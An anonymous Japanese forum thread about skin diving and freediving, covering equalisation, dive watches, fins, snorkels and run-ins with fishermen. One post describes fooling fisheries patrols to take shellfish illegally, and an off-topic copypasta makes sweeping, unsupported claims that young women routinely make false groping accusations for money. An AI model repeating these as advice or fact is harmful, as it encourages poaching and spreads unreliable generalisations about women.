それに、スキンは時間の制約を受けないので、寒くなったら上がってひなたぼっこ＆お昼寝。
で、暑くなったら潜りに行く、と繰り返すのもいいですよ。

>>265
チンクイ、サーフィンのスレで見た気がします。
波打ち際にいるらしいので、スクーバなら大丈夫らしいけど、
スキンは水面に浮いてる時間が多いからねぇ。どうなんだろ？

俺自身はチンクイにあったことがありません。
自覚症状がないだけかな？

>>263
俺も真栄田行きたい！答えになってなくて、ｽﾏｿ

耳抜きしようとすると片方だけしか抜けないんですがなんかいいトレーニング法ないですか

耳くそ　たまってませんか？
たまたま　片方　デカクなってませんか？

女性素もぐらーです
投稿者: yumiyumimogurin 2002/ 5/29 4:15
メッセージ: 30 / 35

女性のスキンダイバーです。
素潜りって商売にならないせいか、ショップが力入れないんですよね。
だから素潜りメインでやっている人は少ないですね。
女性の素もぐらーさんを発見して嬉しいです。

素もぐらーまさこさんは関東在住ですよね。
私も関東在住です。
よろしければご一緒しませんか。
私は海洋公園か富戸で潜ることが多いですよ。
あとは海洋公園です。
私は写真を撮りません。ただ海中を泳ぐのが好きです。
まさこさんは水泳やってたんですか。凄そうですね。
４分半の息こらえって凄いですよね。
私はギリギリ３分半くらいです。
水深は最大で３０ｍ潜れます。
でも３０ｍから浮上する時って水面遠いですよね。
なかなか水面は近くにならないし、息はどんどん苦しくなるし・・。
なんでこんな深い海の中で苦しい思いしてるのかとか考えちゃいますよね。
途中からは水面見ながら、空気っ空気っとか心の中で叫んでるし・・。
最後の１０ｍが本当に苦しいんですよね。

ところで、まさこさんはフィンは何を使っていますか。
ロングフィンは使っていますか。
私はクレッシーのロングフィン使っています。


>226のコピペか.....

負荷潜りを追求するのと、シュノーケルで生き物見るのを楽しむのは違うスポーツですか？

＞270
前者はスキンダイビング→フリーダイビング、後者はシュノーケリングと
分類されていると思われます。
そして、シュノーケリングはスキューバと同じく、スポーツよりもレジャーなのでは？

潜る事が手段か目的かの違いみたいなー？

昔は、タンクしょわないのはみんなスキンダイビングってよんでたよ。
それでみんな１０ｍ以上は潜ってたよ。
スノーケリングって言葉が一般化したのは、ここ１０年くらい違うの？
スノーケリングいうても、全然潜らない人は少ないからスキンダイビングとスノーケリングの区別は難しいのじゃないかなぁ。
日本近海では、透明度も高くないし、綺麗なリーフがあるわけでもないから、水面漂っていても、あまり見るべきもの無いよね。
近場では潜って海底まで行かざるを得ないんじゃないの。
スノーケリングっていうのはリゾートの海だけで成立するもんじゃないの。

磯だと海面からでもいろいろ見れるよ。

>253 = 261
おにぎり＋お茶がオチャメでいいなー（洒落ではない）。
抱えて行くって言うけど、潜ってる間どこに置いとくの？

磯で遊ぶ分には身一つでもいいけど、ちょっと沖に出たいときは
皆さんどうしてます？　おにぎり置いとくためにも（笑）、
タイヤチューブ＋ネットでフロート自作すっかなー。　

普通のプールで、フィンをはかずに、息こらえで50ｍ泳げるのに、フィンを付けても
海では15ｍしかもぐれません。これは、ウェットスーツのせい？それとも心理的な
もの？練習不足？素潜りの世界は置くが深い。ダイビングワールド7月号で、ミスター
魚が、マスクブリージングについて、いい事を書いていたね。

>>276
距離と深さを比べてる？

素潜りを楽しむ時の必須アイテム。
マスク、フィン、シュノーケル…この3つがなくてはとりあえずハナシにならない。
それにプラスして貝を獲る時は、貝起し、フロートを繋いだ網（獲物入れ）。
目的が貝獲りでない時も、フロート+網を携行する時がある。海上での休憩と弁当や
ウエイトなどの小荷物を入れておくため。
でも、これがあると泳ぎ足がすごくノロイし、海が少しでも荒れてると、ほんの少し
手を離しただけで凄く遠くへ流されてしまうので邪魔に感じる事もある。
そんな時はビニール袋に入れたお弁当は紐で胴に縛って行くよ。
しかしこの時はウエイトがない時なので、あまり潜らない。

ちなみにおいらの愛用してるフロートは海岸で拾ったやつ。
サッカーボールくらいの大きさの、黒いプラスチック（塩化ビニール？）製。

今シーズンはこのフロートと身体を長いロープで結ぶ事を考えてるんだけど、
なんか怖いよねえ。
ロープがまとわりついて溺れた夢も見たし（ｗ

>>276
うーん、50mとはすごい。俺なんか、30mくらいがやっと。
考えられることは・・・
・フィンワークの効率が悪い
・恐怖心がある
・水温が低いと息が続かない
くらいでしょうか。

>271 >272 >273
僕は主に山陰地方の日本海でシュノーケリングしてます。
あんまり深くは潜れないのですが、それでもタイ類の魚や、あとタコ・イカなんかはしょっちゅう見られます。

>278
僕の入っているエリアでは、すぐに漁船の見回りが来て、サザエ．アワビを採ってないか
チェックされます。だから逆に貝を採りたい時はヤスを持って行って、
「魚ついてるんです」というと帰っていきます。

>>280
>僕の入っているエリアでは、すぐに漁船の見回りが来て、サザエ．アワビを採ってないか
チェックされます。だから逆に貝を採りたい時はヤスを持って行って、
「魚ついてるんです」というと帰っていきます。

採ったモノ調べられないんか？

２−３年前に南伊豆に潜りに逝った時の事。アロハを着た挙動不審な男が２名
海岸をぶらついていたので車上荒らしか？と緊張していたら
海岸に止めてあったスモーク貼りの１ＢＯＸ２台から１０名ほどの
制服の海保の職員がワラワラと出てきて、海岸にいる人たちの荷物検査を始めた。
漏れも先述のアロハ男に荷物検査をされてｱｾﾀ・・
密漁の取り締まりだとか・・
海保も相当ヒマなんだよね。貝を２−３個取るだけの素人相手にしてないで
根こそぎ持ってくヤ○ザ取り締まれよ。

それってまじかよ。

>>282
その海保がヤ○ザそのもの（ｗ
K察にも区別つかないのがいるしな。

こないだ沖に置いて来ちゃったあいつ・・・
大丈夫かなぁ。

海保って令状なしで大胆なことするね。
俺なら絶対荷物は触らせねえな。
つーか現行犯じゃなきゃ貝もってもデフォルトＯＫと逝って見るTEST

最近の海保ってカナーリ遠くから静かに寄って来るんだよな〜

素潜りによさげなダイバーズウォッチの類ってありますか
現在の深度とあと水温ぐらいが測れて安いやつ。

素潜りモードのあるダイコンじゃ駄目？
素潜り専用でまともな商品は俺も探したけど見つからなかった。

>>289
『素潜りモード」って明記してあるのはサイバーアクアランドしか見つけられませんでした。
でも7万とかするらしく高すぎっす。

やっぱモスキ−トだろ。水深、潜水時間アラ−ムつかうと素潜りの幅がひろがるよ。
値段もおてごろだしな。

素潜りモードがあるダイコンは、スントのスティンガーとモスキートかな。
モスキートなら4万以下で買えるんじゃない？

漏れはカシオの潜水王の旧型を使ってます。
ヤフオクで新品で15ｋ円だった。
ダイコンじゃないけど、最大深度＆現在深度が出るから十分でそ。
水温は表示されるのに時間がかかるのが弱点。

俺はスントのモスキート使ってます。
素潜りモード、重宝してます。
潜水時間と水面休息時間が表示されるので、もう手放せない。

あと、小型軽量。ボタンはえらく重いけど・・・。

来週に素潜りに行こうと思ってるんですが、
ウェットスーツだけをレンタルさせてくれる所ってありますか？
ダイビングショップって貸してくれますかね??

伊豆の下田近辺だと嬉しいのですが。

　
　買えば。2ｍｍフル、3ｍｍシーガルで1万ぐらいだよ。

潜水王ほしー。
デザインはいまひとつだけど。

ちなみに普段仕事の時はプロトレック使ってるんだけど、
同じ系統のデザインだよね。
プロトレは正直なかなかいいと思うんだが…
似てるのに潜水王は素直にカッコいいと思えん。

しかし欲しい。

素潜りで貝とか採ってて漁師とかにどうかされた人いる？

おれも知りたい。
漁師にかこまれてボコにされるとかよくゆ-けど、年寄りばかりで、こっちのほ-が気つかっちゃうよ。

タコ採っててカナリしつこく怒られたよぅ

タコくらいならＥけど、貝採ってねーだろな！
獲物みせれ！他に隠してねーだろな！ってウザかたよぅ

ついでに３００げと

どこで・・・・

あー最後まで読んじゃったよ
俺も潜りて〜

>>295
現地のDSでレンタルしたことがあります。下田ではありませんが・・・。
まずは電話して聞いてみては？

でもさ-、ＤＳでかりるってことは、5ｍｍだろ-。
5ｍｍじゃウエイト何キロまくのよ-。水温もあがってきたことだし、スキンなら身がるなほ-が楽しいよ。
1ｍｍのタッパ-とか買えばいいじゃん。

ダイバーは素潜りもできなきゃダメ？
やっぱり素潜りが基本でしょうか。

ダイバーは泳げなきゃダメ？
やっぱり泳ぎは基本でしょうか。

>>301 三浦西側の某所で、実は７〜８年前の昔話ですた。

。三浦西側つ-と三戸あたり？。
でも三浦半島の漁師は、三崎以外年寄りばっかじゃん？。
伊豆，房総は、ヤンキーあがりの漁師が多いから、むちゃするバカもいるかもしんないけど

＞＞305、＞＞306　　あったりまえだのクラッカー！

法律とかよく分からんが普通に考えて密漁より傷害のが罪が重いんじゃないのか？
ボコられたら訴えたら？

しかし漁師とか気が荒そうなイメージあるからそんなこと考えないんだろうな。

今日ツーリングがてら御前崎を見てきたんですが、サーファーはいても
スキンは居なかったです。ここで潜った方います？

漁師もけっこう人によるって言うか、前に見つかった時は採ったサザエを
海に捨てろって言われた。でも同じ場所ですでにツボ焼きにして食ってた
ところを見つかった時は「持って帰るのはダメだからね」っていわれた。

こないだ真鶴で半袖半ズボンのウエット（ツナギ型）
（スプリングショートスプリット？だっけ？？？忘れた）
着てたら、大波が来て腕をザックリと。ｲﾃﾃﾃ
まあ、そういうことも当然ある罠
このタイプならｻﾋｰﾝ用のが動きやすくていいそうです。

>>297
潜水王、たしかにカコワルイね（笑
でも、本体に商品名入ってないから許せる。
ただ大きくて重いから、泳ぐとき以外は使いたくない。
電池の持ちも、まあまあ良い（たしか）と思って買った。

スントは最悪、半年で電池がなくなると評判ですが
持ちはどーですか？>>1

漁師問題。
直接怒られたわけではないけど、ある時横須賀の剣崎で潜ったら
漁船のオヤジが「浜に上がれ」みたいな合図をよこしてきた。
別に漁目的ではないから、ハイハイと手をあげてやりすごした。
迷惑なのかしらと思いその後は行ってない。
（その他の条件もそれほど良いと思えないし）

現行タイプの潜水王買った。
モスキートもいいなと思いながらこの数週間というもの
ヤプオクをチェックしまくりだったんだけど、
意外と高値がついて（しかも旧タイプ）最後は二の足を踏むって状態が続いてた。
ところが先日わが町のディスカウント屋に何気に入ってみたら、
現行タイプ（フルチタンではない）が15Kでショーケースにあるのをハッケソ。
もちろん新品。思わず飛びついちゃった（ｗ

>>298 漏れの逝くエリアは漁師はあんましうるさくない。
むしろ貝の美味しい調理法を教えてくれたり、見つけるコツを教えてくれたりする。
小うるさいのが地元の漁協。たまに軽トラックで見回りに来ては
貝をとってないか？とかウザイのなんの。
折れはもうサ○エなんか食い過ぎて、飽き々だっつーの(w

314です。
上の自分のカキコ読み直したら、読み方によっては
>>293＝>>313に微妙にケンカ売ってるみたいにも思えるかも…
謹んでお詫びします。そんなつもりはなかったんだよ、ごめんね。
フォローというつもりでもないんですが、実はヤプオクでの旧型の人気ってかなり
高いんだよね。この前はかなり大きなキズがついてるのに12K台で落札されたし。
それにしても現行フルチタンが29.8Kくらいで１個落とされたみたいだけど、
正直ベルトまでチタンって、実際には使用しにくいのではないでしょうか。
例えばスーツ着る時と着ない時では当然ベルトの長さは違ってくる。
チタンベルトのヤツも自在に長さを変えられるのかな？　それともリストバンドとかを
巻いて対応するんだろうか？

ちなみに確かに潜水王重いけど、あの頑丈そうなところが信頼感あって良いのでは？

潜水王に、興味深々・・・

モスキートを買ったのは去年の７月。
それから、スクーバ20本。
スキンは何回行ったかな・・・。月に４日平均。時間にすると、月に10時間くらいかな
それで電池残量は、4分の3といったトコです。

とどさんって方のサイト、好きです。
自分にはスクーバの知識はあまりなくて、これまでほぼ我流で最深15ｍ程度まで
潜ってたんだけど、あのサイト見てずいぶん勉強になりました。
中性浮力の本当の意味をよくわからずに潜ってた自分は、いつドザエモンになっても
おかしくなかったかもしれない。
だから深いところへ行けば行くほど、底に押し付けられる感じがしてたのか（ｗ
気のせいではなかったわけだな。
こわ！

nifty no sumogurisurede sonzaikan arimasita
watasimo iroiro benkyo simasita.

>>318 素潜ラー？

３１４＜
現行の７１０持ってるんだが旧型の５１０の方が素潜りにはいいゾ。
２分以内の潜水でもちゃんとログ残るし。

>>320
とどはココ↓
http://www.skindive.jp/

＞＞だから深いところへ行けば行くほど、底に押し付けられる感じがしてたのか

どうして？どうして？どうして？
そんなの感じないよ

＞＞だから深いところへ行けば行くほど、底に押し付けられる感じがしてたのか

マイナス浮力のことを言ってるんだと思うよ

>>323
神経無

海パン一丁で素潜ると、-5mまで行かないと浮力で背中を上に引っ張られる
感じがするはず。
更に深度を下げると、-8mくらいからはどんどん下に行きやすく加速する。
水深が-10mほどになるとじっとしていても徐々に自然に下に下がって行く。
これは、着ているスーツや個人のもともとの浮力によって水深に対する変化は
かなり幅がありますが。

スクーバと素潜りの違いの一つに、素潜りのインターバルが、2,3分だと言う事。
頑張って2時間素潜りをした場合には、約50回もの耳抜きをしなければならない。
スクーバでは経験が無いのだが、素潜りをするとリバースブロックになって、浮上
の時も耳が痛くなるし、それに引きずいて潜行するとき、耳抜きがしにくいのです。
これは、なぜそうなり、そして、それを解決するにはどうすれば良いのでしょうか。
誰か、アドバイス下さい。

すみません、
道具(フィン・マスク・シュノーケルが主)について詳しくかかれてる(比較/評価)
サイト、もしくは2ちゃんスレッドってありますか？

picasso、cressi sub、omer、imersion、spora sub、beuchat...
デザイン・機能のいい道具についてもっと知りたい...

そういえば,体験スクーバのことを思い出した
水深15―20のとこで最初は体が安定せずふらふらしていてBCからエア入れると体
が上昇すんだ.なんか水面まで行くんじゃないかとチョッとぱにくった｡
それでエア抜くと今度は体が、な、なんと底にぺったりついてしもうた。
まるでカサゴみたいに。俗に下手ダイバーの珊瑚爆撃とはこのことかと思った.

巣潜りでは10メートル潜って底をとり、魚目指してメいっぱい泳いだときは水面ほどスピードでない
後浮上するときマスクに水圧感じるけど体が押しつぶされるなんて大げさじゃない

浮上のときは耳抜きなんてしないよ

体質によってはリバースで耳が痛くなる人もいるよ。耳抜きとは反対の方法で
鼓膜より中心側の気圧を下げてやる必要がある。

>>327
あまりにも強烈に耳抜きをし過ぎてるんじゃない？　「オーバー耳抜き」みたいな…
正しく詳しい事は知りませんが、正しく詳しい事を知りたいのなら、2ちゃんは
あまり適当ではないとも思いますね。
どうせなら専門のサイトで質問した方がいいでしょう。

>321
なるほど、そうだったのか。
旧型もやはり漁りたい気になってきたよ。

ところで、ダイビングの雑誌を読んでると、
「ここならハンマーヘッドにも会える！」と謳っている宣伝や記事をよく目にしますが、
要するに一般のダイバー達はシュモクザメに関しては避ける対象ではなく、
むしろお近づきになりたい対象であるという事なのですね？
昨年の夏にお茶の間を賑わした鳥取県のシュモクザメ騒動については
人々が恐れて海に近づかなかった事をへそで茶を沸かすくらいの気持ちで
ニュースをご覧になっていたのでしょうか？

その通り

＞＞330　レス有難う。確かにいくら日本最大の掲示板とはいえ、２ちゃんねる
で情報を求めるのには無理がありますね。ちゃんと、理論的に勉強するように
します。　

ハンマーヘッド、水中スクーターがわりにつかってますが、何か？。

今朝は水温22℃だった（日本海）。
ウエット着てなかったから冷たかったよお。
今頃の太平洋側の水温はどれくらい？

＞＞336
22度で、海パンだけとはすごい。24度あったとしたら、天気が良ければ僕でもできる。
水温が、仮に28度でも、雨で、風が吹いていたら辛い。話はそれるが、タイタニック
で、零下数度の海に投げ出されて、それでも何人かは助かった。僕なら10分で死んでいる。
日本海のどこですか。太平洋側と言っても広い。

山陰の方だよ。
太平洋側も広い。そうだよね（ｗ
じゃあ、高知、南紀の辺りってことでどうでしょ？

ハナシは昨日の事にもどるけど、海に浸かってた時間は結局1時間もなかった。
潜ったトータル時間もせいぜい20分くらい。
寒くてさ、息が続かないんだ。
30秒ちょっとでセンサーが苦しい！って言い出す。
水温が25℃くらいある時の1/3だよ。
深度は最高で10ｍ程度。
情けないけど冷たさに対して弱いんだろうね。歯がガチガチ、身体もブルブルだったから、
あっという間にＣＯ2で満たされちゃうんだろうね。
一度陸に上がったら、もう入る気は失せてしまってた（ｗ
スーツって偉大だよね。

>335
ホント？　シャレだよね？
もしホントなら師匠と呼びたい。っていうか弟子入りさせて下さい。

いちいち水温なんか計ってないわー
3ミリで3時間くらい潜っても何ともないし
だいたいウエイトとか道具運びながら着替えしてるとあせだらだらで海に一刻も
はいらんとしにそうやからさぶいほうが気持ちエイｰ
温暖化やから2月から3ミリでオヨイドル
2時間は平気やなー
太ってて脂肪多いやつはもっと平気やローなー

＞＞314
遅レススマソ。
別に全然ケンカ売られたなんて思ってないよ？
漏れは他人がいい買い物をしたからといってひがんだりせんよ（ｗ
最新型、安く手に入ってよかったねん♪

＞＞317=1
レスありがと。
単純計算でこのペースなら、４年は持ちそうね。

ある所で同じ潜水王610を使っている人と会ったんだけど、
音頭表示はすぐ出るって言ってた。
やたらタイムラグのある漏れの610って。。。。(;´Д`)ｳﾜｱｰﾝ!

質問！
みんなナイフを持って潜りますか？
実際にナイフを使わなくてはならない状況になったことがありますか？
水中拘束って意味です。

<<339
水温と水深はちゃんとチェックすべし

>>341
ナイフは持ってません。
水中拘束って、経験ないなぁ。もっとも、あったらここにいないか・・・。

ナイフがあるとガンガゼ割ってクマノミのいるイソギンの中に入れてやると面白いよ
後釣り人の仕掛けが絡まってるから取ってる
高いウキとかだったらうれしい

明日は天気良くなりそうだな・・・

もちろんナイフもって潜るよ
でも水中で使う練習よくしておかないと
パニックになった時に役に立たない

341
岩礁をスキンで迂回していたら、太股の皮に釣り人の針がひっかかって
パニクりました。丁度息が切れる頃なので死にかけましたです

ナイフって水中でどうやって持ってるの？

皆さんシュノーケルとマスク、フィン何使ってます？

この夏にでもスキンダイビングに挑戦したいので･･

天気予報だと今週末は晴れそうだ

>349　おいらはスポーツ用品量販店で売ってた安いやつ使ってる。
こんなんでも20ｍまではいけるぜ。
しかし今のトコおいらの実力ではこれが精一杯だ。
その先はロングフィンとかあった方がかなり有利かも知れないな。

通常ダイビングナイフはシース（鞘）を脚に括れるようになってる。
腕に装着する人もいるようだ。

水中では釣り糸ってとても見えにくいからね、っていうか見えない。
おいらは幸い拘束なんて恐ろしい目には遭った事ないが、
絡んでもじゃもじゃした状態のやつが顔にあたってびくっとした事がある。
ちょっと何かが間違えば、あれが手足に巻きついた…って可能性も
充分に考えられると思う。
おいらはそれからナイフを携行するようにしたな。

スキンダイビングで重要視される器材ってフィン、マスク？それともシュノーケル。

仕事で浜松に来たんだけど、この辺りって、どこで潜れるんだろう？
ローカルな人教えて欲しいな。

>>353　紀伊半島です。

>>352
やっぱりフィンでしょう。これが楽にできるかできないかで楽しさ加減がかなり
違うので。

みんなどんなフィン愛用してる。ストラップ？　フルフット？

&haerts;

>>352
深く潜るのであればフィン選びは重要だが、浅いのならなんでもよし。
器材にこだわるよりもスキンダイビングのトレーニングをするべし。
そうすればどんな器材でもそこそこ潜れるようになるから。

何かシュノーケルってフィンやマスクに比べて軽視されてる感じするけど実際のところどうなんですかね。
マウスピースの形とスノーケルクリアしやすかったらデザインは別にいいんだけどな。←自分
時々波をかぶって間違って吸い込んで焦った時あったけど･･･

結構(･∀･) イイ!!!ポイントだと思うんだけど・・・・
勝浦と古座ってどっちがいい波だ？ｺﾞﾙｧ!

>>354
遠いよ。

一昨日はちょっと危なかった。
息こらえの限界をコンマ何秒か超えてしまった。
海面まであと数メートルがなんと遠かったことか…
スノーケルクリアが早過ぎて、反射運動で息を吸い込んだのはまだ海中だった。
プチ「死ぬか」と思った。

フリーダイビングから始めたので水中ではスノーケル咥えないのはあたりまえなのだけど、
スノーケルクリア・・・ってみんなは水中でも咥えていたりするの？
何か利点ってあるの？

クワエテルヨ！利点って、手に持たなくていいことジャン。

なるほど、競技として一発に賭ける場合は咥えないほうが効率いいだろうね。
しかし、例えば1回に1分から1分半くらいしか潜らず、息を整えるのにせいぜい
数十秒しかかけない一般のスキンダイバーはいちいち海面に顔を出さない方が
効率がいいからね。
口まで海面から出す作業を繰り返すと、それだけで結構体力を消費する。

が、極端に寒かったり息が苦しい時は、マウスピースを噛み千切っちゃう事もある。
一回だけ噛み切った。

反対に疑問なんだが…それじゃあフリーダイバーはなんのために
スノーケルを使うんだ？

オレも知りたい。なんで手にもってんの？　しかも、おもちゃみたいなやつ。
363さん、。おしえて、、、

ツインバルブショットガン使ってる人いますかぁ？
こいつ結構スノーケルクリアしやすいと聞いたもので。

>>354
紀伊半島は伊良湖からフェリー使えば近いんだけどさ、串本までは遠くてね。
かといって鳥羽あたりだと、漁師がうるさいんじゃないかなっと思ったわけよ
そんなことないか。

>>367
去年まで、吸気側にもバルブがあるスノーケル使ってたーよ。
無知とは怖いね

ふと思いついて、やぷーの素潜り関連BBSを覗いてみたんだが…
2ちゃんに染まりきっている自分を見つけただけだったな。
ネットの世界ではあんな風に礼儀正しくやりとりするのが本当なんだろうが、
ちょっと俺には耐えられなかった。
煽り入れたろかなんて不届きな事までふと思ってしまった（ｗ

多少殺伐とした中でのマターリ感を楽しめるキミ達とのやりとりの方が
俺には馴染めるよ。
ダイビングにはほぼ無関係だったな。

>>365　366
潜水前の息を整える為にスノーケル使うよ。水面に寝て
息を整える人も多いけど、波が顔に掛かるのが嫌って
人は結構いるからね。
そんな人でも潜水する前には人に渡すとかするよ。

フリーダイビングはバディorセキュリティ居るのが基本に
なっているってのも有るんだけど、水中でブラックアウト
した時にスノーケル咥えたままだと肺の中に水がそのまま
入ってしまうっしょ。そんで肺の中に水が入らないように
バディが口を抑えようにも強く噛んでいる事もあるし、邪魔
だから。。。水中では咥えないこと。。。と教わった。

個人的には遊びでも顔の横でブラブラされるのがストレスになるし
、潜水するときにはウエイトベルト背中辺りに引っ掛ければ
手に持つ必要もないしね。
それに蛇腹のスノーケル以外だったら（水面移動とかで）咥え
ているだけで結構安定しているでしょ？。＜＜僕はこの安定感で
スノーケルを選んでいる

>>368
数年前に尾鷲まで潜りに行った
陸から見たときはかなりいい感じだったけど　潜ってみたらｶﾞｶｰﾘ
磯が焼けて獲物がぜんぜんいなかった。
折れは断然　伊豆が好きなんだけど、浜松からじゃ遠いか。

ここはただ潜るだけのフリーなんとかオタクじゃなくシュノーケルのスレダ
顔は常に海を見、水面移動しながら潜りたい何かがあれば潜る
もぐって上がるとき水面出る際でいきはくと鯨の潮吹きになって釣人脅かせるから
面白いんだ

磯じゃなくゴロタ混じりの浜潜ってみなよ,サーフとかも
チョッとおき行くとサメおおし
水面にいたら俺の下を超高速で横切っていったやつがいた
一瞬の出来事。輪郭からエイだろな
ぶつかったらまじ死んじゃいそうなスピードだった

いやいや、フリーなんとかオタク大歓迎だよ。ここは素潜りスレだよ。
スノーケルクリアなんだけど置換方おぼえなよ、ずっと楽だよ。

質問！
フリーなんとかオタクとシュノーケルオタクはどっちが基地に近いの？
潮吹きオタクも一緒に〜
オタクスレの人たちおせーて

デタ　厨房

374がきました。ついにご光臨です
きっとウミケムシみたいなやつでしょう

置換って何ですか？

置換は痴漢

先日、東京都において迷惑防止条例が改正（改悪？）され、
痴漢を犯した男性に懲役を課すことができるようになりました。
今までの罰金だけの刑とは違い、懲役を課されるということは、
様々な国家資格も剥奪されるということです。
例えば、司法試験なんかは禁固以上の刑を科されたら、資格を剥奪
すると、規定されています。司法試験以外は詳しくは知りませんが、
おそらく禁固以上の刑をくらってただですむわけがないと思われます。

例えば、一人の女性が「キャー！この人痴漢！」と叫び、あなたの手を掴み、
強引に駅員に突き出されたとします。そしたら、もうあなたの国家資格は剥奪され、
その資格で生計を立てていた場合は職を失い、人生を大きく狂わされます。
いわば、社会的に殺されるようなものです。

そして、既に、多くの人が指摘しているように、この痴漢問題の本質は、
「痴漢は証拠をつかみにくい、ばれにくい犯罪である」ということです。
厳正に証拠を求めたのでは、痴漢犯罪は殆ど成立しなくなり、
女性は泣き寝入りしてしまう。
そこで痴漢犯罪をきちんと取り締まる必要性から、ろくに証拠もないのに、
「この人痴漢です！」と言われて、駅員に突き出されたら、
いくら「やってない！」と言っても、
その人は立件（つまり裁判で勝たないと、犯罪者にされる状態）されてしまいます。要するに、男の人生を左右するもしないも、電車の中にいる女性のさじ加減一つできまるわけです。
ろくに証拠もない、ろくに調べもしないのに、簡単に警察は立件してしまう。
このことは、先の松戸の痴漢冤罪女子高生の事件をみてもわかると思います。
彼女はお金が欲しかったから騒いだけと言っていますが、彼女のような安易な犯行方法であっさり犯罪者扱いされては、男はたまったもんではありません。

裁判で争うといっても、時間と金がかかるのが現状です。
松戸の冤罪女子高生事件では、原告のフリーターの男性は裁判に３年（？）と５００万近くの費用を費やしていると聞きました。
しかも、裁判で勝ったとしても、お金が返ってくる保障はありませんし、仕事を持ってる男性は裁判すらできないのが現状です。
過去にも、裁判をして勝ったケースがありますが、その殆どの原告は仕事を首になっています。

こんな現状なのに、痴漢に懲役まで認めてしまっていいのでしょうか？今までのような罰金とは訳が違い、懲役を食らうと人生を狂わされる可能性が格段にあがります。
いくら、女性優位の社会とはいえ、ここまでくると、男性の人権は完全に無視されてます。
確かに、痴漢してる奴は悪い！だが、女性が被害者であると同時に、痴漢していない男性も被害者なんだ！
なんで、同じ被害者なのに、女性の人権ばかり保護するんだ！これは絶対におかしいと思う！


皆、電車のるときは女の機嫌を損ねないように乗れよ。特に頭の軽そうな女に、睨んだり、携帯電話を注意してりなんかしちゃダメだぞ。
腹いせに痴漢扱いされ、社会的に抹殺されるからね。

痴漢容疑の逮捕は本当は現行犯逮捕であるべき。
だから痴漢対策は通勤時間帯に私服警官を配備して対応すべき。
しかし、これは警察官の手間がかかるからしない。
相手に言い分だけで逮捕すること許していたら、どんどん拡大適用されて
ちょっとしたことでも十分な証拠がないのに逮捕される事態が今後
起こり得る。
確かに痴漢は忌むべき犯罪だがだからといって相手の言い分だけで
即逮捕はおかしい。マスコミもこれを批判するどころか直ぐに
実名報道する。なんかおかしい。
一般人は警察に逮捕されて何日も拘留されたら、やってなくてもやった
と言ってしますでしょう。
逮捕された時点で新聞で実名報道されるのでやったと自白した方が
短時間に解放されるため無実でもほとんどの人が自白するでしょう。
政治家なんか相手が贈与したと言っても絶対逮捕されないところが
庶民は直ぐ逮捕するこれはおかしい。

暴行や殺人等は誰がやってもその事象は明らかなのに対して
そもそも痴漢の基準が曖昧すぎるし主観的すぎるんだよな。
だから冤罪を狙った行為もしやすいし一方的な証言で立件される。
そういえば以前どこかのスレで痴漢してる相手がキムタクや反町だったら
そのまま何もしないって奴とかいたよな・・・

激しくガイシュツだけどやっぱりこの事は重要なのかもな。

聞いた話によると、痴漢（冤罪含む）で捕まると、
取り調べ室に連れて行かれるじゃないですか。
ま、訴えた女の方はすぐに帰れるわけですけど。
「お前がやったんだろ。やったって言え」って感じで強引にやったって認めさせたり、
やってないって言い張ると、
「やったって言っといた方が楽だぞ。このままやってないって言っても
裁判になればまず勝てないし、今やったって言えば５万ですむけど、
裁判になったら何百万だし会社もクビだぞ。」
って感じのこと言われるんだってさ。
それでしぶしぶ認めるのが大半なんだって。
家庭持った人だとクビになるわけにはいかないから、諦めて５万出すしかなくなる。
それで味を占めて女子校生や女子大生が何度も冤罪を起こすんですよ。

冤罪起こしてる本人にとっては小遣い稼ぎなんですよ。
無罪を訴えて勝訴した例があるけど、あんなのは全体の１％にも満たないです。
援助交際やって病気もらったり、暴力ふるわれたりすることより遥かに低い確率なんです。
本人達の言葉を借りれば「エンザイなんてヨユーじゃん？おもしろいし」って感じです。

俺の経験した事だけど書いておきます（参考にならんと思うけど）
俺が痴漢に間違われた時、勿論「俺はやってない」と反論しました。
相手は女子高生風、で出るところ出ようと話が付き警察へ。
お互い意見は真っ向から違います(だって俺やってねーもん)
警察も呆れて俺に向かって「正直に言った方がいいよ？」とか言ってきやがります(泣)

俺は提案しました。
「証人か目撃者を出してくれ、じゃないと根拠がない、完全に理不尽な話だ。
俺が痴漢した目撃者や証人が１人でも現れたら素直に認める、
しかし、やってないと言う目撃者が現れたら責任は取ってもらう」

相手は初めは「示談でいい」とか言ってながら、
最終的には「望むところだ」みたいな感じで話に乗ってきました。
俺も覚悟を決めてたので、この作戦が最後の賭けだったのです(泣)

その後駅長に何度も頼み込み「目撃者連絡お願いします」のビラを２週間限定で置かせてもらいました。
そして約３日後くらし・・・。
警察署から連絡がありました「目撃者が２人見つかった」との事。
俺の中では不安もありましたが、これで冤罪を８０％証明できると信じてました。

警察署に行くと、２０歳位と１７歳位の２名がご丁寧にもその場にいるのです。
そして俺に「わたしこの人が痴漢してるのを見ました」と言いやがります(泣)
警察は日時や車両の位置、そして痴漢行為の様子を聞いてます。
物凄い説得力のある目撃談でした。

そしてその日は目撃者は家へ帰され、
俺は自らの主張で警察官と話し合いの場を持ちました。
「あの２人が被害を訴えているヤツとの関係を調べてくれ」
「絶対に身内だと思います、そうじゃなければ俺は罪を認めます」

この話に警察官は驚く事に快く引き受けてくれました。
どうやら事情を聞き込んでいる時から、でっちあげの目撃者と疑っていた様子。
結果は案の定。
１人はその女の友達(同じ学校の同じクラス)
もう１人はその女の友達の姉(同じ学校の同じクラスの姉)

救われました、正義を貫いた瞬間です(泣)
その後警察署で俺とその女が呼ばれ、話し合い。
警察官を見方にした俺は敵なしで、その女は遂に泣いてウソを自白しました。
しかし、これで解決するような優しい俺ではありません(笑)
その後しっかりと、その女の学校の校長および親に会い、経緯を激白し謝罪を要求。
学校には退学を要請しましたが、これはうまく行きませんでした(泣)
しかし１年間、週に１回謝罪の文を送るよう(学校もその女も親も)要請で話が落ち着きました。
もちろん、俺の会社にも謝罪に来させましたよ(マジで)

ま、今終わってみればなんとも思いませんが、当時はかなりヒヤヒヤしてました(泣)
長文ごめんっす、草々(笑)

ふ-ん。そりゃ大変だったね。









でも、スレ治外だ。

同性愛者だと言ってミレ、その場で釈放だ罠

>>376
水中でスノーケルクリアを行う方法です。

浮上時に、スノーケル内に空気をちょっと入れてやると、
その空気がだんだん膨張して、結果的にスノーケル内の水を全部排出する。
そのタイミングで水面に出れば、水面に出た瞬間から呼吸できる。

空気を入れるタイミングと量が難しいですが、おぼえてしまえば簡単です。
あ、ただし、排水弁付きスノーケルではできない。

あ〜ら1さん、おひさしぶりね。

便付きでもできるよ。

ひさしぶり（ｗ

弁から空気もれない？？

